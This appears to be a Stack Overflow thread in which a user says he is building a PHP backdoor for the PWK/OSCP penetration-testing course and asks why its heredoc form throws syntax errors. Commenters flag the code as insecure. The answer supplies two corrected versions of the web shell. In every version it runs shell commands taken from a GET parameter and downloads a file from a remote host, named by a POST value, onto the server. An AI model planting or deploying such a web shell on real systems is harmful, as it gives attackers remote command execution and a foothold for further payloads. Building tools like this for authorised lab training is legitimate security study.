-1

NOTE: For those who did point it out. Yes, the code uses insecure functions shell_exec with GET. This is intentional. The script is part a PHP backdoor that I am using as part of the PWK course.

if ($_GET['cmd']) {
    echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
 }

The rest of the script implements some very basic authentication before this function is reached.

I have a php function that I want to use to return a basic view/form with two input fields and supporting PHP logic in two if statements.

The issue that I have is that in the current form the PHP displays two errors:

  1. syntax error, unexpected '' (T_ENCAPSED_AND_WHITESPACE), expecting '-' or identifier (T_STRING) or variable (T_VARIABLE) or number (T_NUM_STRING) on the if ($_POST['upload']).
  2. Unexpected 'Unknown'. on each of the upload and cmd variables

I have tried to do the method as below but the script seems to be breaking somewhere in the HTML or at the start of the PHP as functions below this are affected too.

function displayForm() {
    return <<<HTML
      <html>
        <body>
            <h1>somestuff</h1>
        </body>
      </html>
HTML;
}

How can I fix this so that the form and logic are returned properly to the user?

Full function...

function displayForm() {
    return <<<HTML
        <html>
            <body>
                <form action="" method="POST" enctype="multipart/form-data">
                    <input type="hidden" name="MAX_FILE_SIZE" value="1000000">
                    <p> File: <input type="file" name="fileToUpload" id="fileToUpload">
                    <input type="submit" value="Upload" name="upload">
                </form>
                <br><br>
                <form method="GET">
                    <p>CMD: <input type="text" name="command">
                        <input type="submit" value="Exec" name="cmd">
                </form>
                <pre>
                    <?
                        if ($_POST['upload']) {
                            file_put_contents($_POST['upload'], file_get_contents("http://$host:$port/" . $_POST['upload']));
                        }
                        if ($_GET['cmd']) {
                            echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
                        }
                    ?>
                </pre>
        </body>
    </html>
HTML;
}
3therk1ll
  • 2,056
  • 4
  • 35
  • 64
  • Possible duplicate of [PHP parse/syntax errors; and how to solve them?](https://stackoverflow.com/questions/18050071/php-parse-syntax-errors-and-how-to-solve-them) – miken32 May 23 '19 at 18:30
  • 5
    I'm not a security expert, but `shell_exec($_GET['cmd'])` sounds like a really bad idea. Executing something from the client invites hackers, especially a `get` variable. –  May 23 '19 at 18:30
  • 3
    ^^^ Not to mention `file_put_contents($_POST['upload'])` – miken32 May 23 '19 at 18:31
  • 1
    I'm Bobby Tables and I approve this code. – Andrew Koster May 23 '19 at 18:33
  • @Chipster that is intentional, the code is part of a PHP backdoor that I intend to use as part of the OSCP. The remainder of the script implements some VERY basic authentication to check the right user is accessing it. – 3therk1ll May 23 '19 at 18:35
  • @miken32 see above – 3therk1ll May 23 '19 at 18:39
  • 1
    As long as you know what you're doing. Still looks VERY scary to me, especially considering @miken32 's comment. Just be careful this doesn't make it into production. –  May 23 '19 at 18:48
  • 1
    Just looked up OSCP (which I was unfamiliar with) and that makes a lot more sense now. –  May 23 '19 at 18:54

1 Answers1

2

You're not actually in HTML mode, you're defining a Heredoc string and so can't break in and out of PHP. There are several ways to do this, here are two. Build a variable to insert into the Heredoc:

function displayForm() {

    $extra = '';

    if ($_POST['upload']) {
        $extra .= file_put_contents($_POST['upload'], file_get_contents("http://$host:$port/" . $_POST['upload']));
    }
    if ($_GET['cmd']) {
        $extra .= "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
    }

    echo <<<HTML
        <html>
            <body>
                <form action="" method="POST" enctype="multipart/form-data">
                    <input type="hidden" name="MAX_FILE_SIZE" value="1000000">
                    <p> File: <input type="file" name="fileToUpload" id="fileToUpload">
                    <input type="submit" value="Upload" name="upload">
                </form>
                <br><br>
                <form method="GET">
                    <p>CMD: <input type="text" name="command">
                        <input type="submit" value="Exec" name="cmd">
                </form>
                <pre>
                $extra
                </pre>
        </body>
    </html>
HTML;
}

Or do it where you want it:

function displayForm() {
    $output = <<<HTML
        <html>
            <body>
                <form action="" method="POST" enctype="multipart/form-data">
                    <input type="hidden" name="MAX_FILE_SIZE" value="1000000">
                    <p> File: <input type="file" name="fileToUpload" id="fileToUpload">
                    <input type="submit" value="Upload" name="upload">
                </form>
                <br><br>
                <form method="GET">
                    <p>CMD: <input type="text" name="command">
                        <input type="submit" value="Exec" name="cmd">
                </form>
                <pre>
HTML;
                        if ($_POST['upload']) {
                            $output .= file_put_contents($_POST['upload'], file_get_contents("http://$host:$port/" . $_POST['upload']));
                        }
                        if ($_GET['cmd']) {
                            $output .= "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
                        }
    $output .= <<<HTML
                </pre>
        </body>
    </html>
HTML;

    return $output;
}

Do note that you want to be using isset or !empty depending on what you need here:

if (isset($_POST['upload'])) {
//and
if (isset($_GET['cmd'])) {

Also, this doesn't make much sense, as file_put_contents returns the number of bytes written to the file, unless that's what you want in your HTML:

$output .= file_put_contents($_POST['upload'], file_get_contents("http://$host:$port/" . $_POST['upload']));
AbraCadaver
  • 78,200
  • 7
  • 66
  • 87